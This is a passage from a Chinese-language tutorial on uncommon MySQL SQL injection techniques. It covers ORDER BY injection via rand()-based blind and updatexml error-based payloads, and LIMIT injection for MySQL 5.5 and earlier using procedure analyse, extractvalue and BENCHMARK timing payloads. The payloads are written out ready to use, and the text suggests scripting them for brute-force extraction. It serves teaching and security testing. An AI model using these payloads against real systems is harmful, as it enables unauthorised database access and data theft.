如果查询的数据很多时,延迟的时间就会特别长。在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。
3.3.4 基于rand()的盲注(数字型)— 无列名
rand() 函数可以产生随机数介于0和1之间的一个数。
当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数。种子固定,则生成的数固定。order by rand
:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同
order by rand(表达式)
示例:
order by rand(ascii(mid((select database()),1,1))>96)
114
115
我们可以看出来在临界状态,排序的方法发生了突变,由此也可以判断出来我们的查询字符的对错。写成脚本可以进行爆破。
3.3.5 报错注入
这里只要目标回显报错信息都可以使用这种出数据的方法。
order by updatexml(1,concat(0x7e,database(),0x7e),1)
3.4 总结
order by注入的主要利用方式还是依靠报错注入和盲注的相关知识。其中比较新颖的利用方式就是使用rand()函数的特性,再结合if判断语句对目标数据库进行布尔盲注。
需要注意的是order by注入点的类型影响着注入的结果。只有用rand()多次注入结果不一样时才能判断注入点为数字型进行进一步的攻击。一但发现是字符型注入点,那么此处就将丧失攻击价值(无法使用报错注入以外的注入方案)。
在说明白一点,就是说判断为字符型注入点的话,只能考虑单引号闭合引发报错注入。而为数字型注入点的话我们就可以不仅仅使用单引号报错,还能使用一些不需要闭合的盲注方法。姿势更多一些。
4. limit 注入
此方法适用于<=MySQL 5.5中,在limit语句后面的注入:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
#上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,
#否则利用UNION很容易就可以读取数据了,看看在MySQL 5中的SELECT语法:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
报错注入方案:
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);
时间盲注方案:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
5. 总结
本文对几种特殊的注入方式进行了罗列。二次注入、宽字节注入、order by注入、limit注入等注入方式。
二次注入的成因是对客户输入的数据进行取出时未进行过滤,导致单引号逃逸出了我们的转义函数的限制。引发注入。
宽字节注入也是利用数据库对宽字节字符的特殊处理方式吞并转义符号引发SQL注入。
order by注入则是order by后面的信息可以被我们用户传入。根据其注入点形式的不同我们可以选取不同的利用方案。比如字符型注入我们只能使用报错注入进行攻击。而数字型就可以采用if判断进行盲注、rand()函数进行盲注。
limit注入则是仅仅适用于mysql5.5版本之前的一种注入方案。在数据库版本符合、又碰到limit注入时我们就可以使用limit注入的方法进行注入。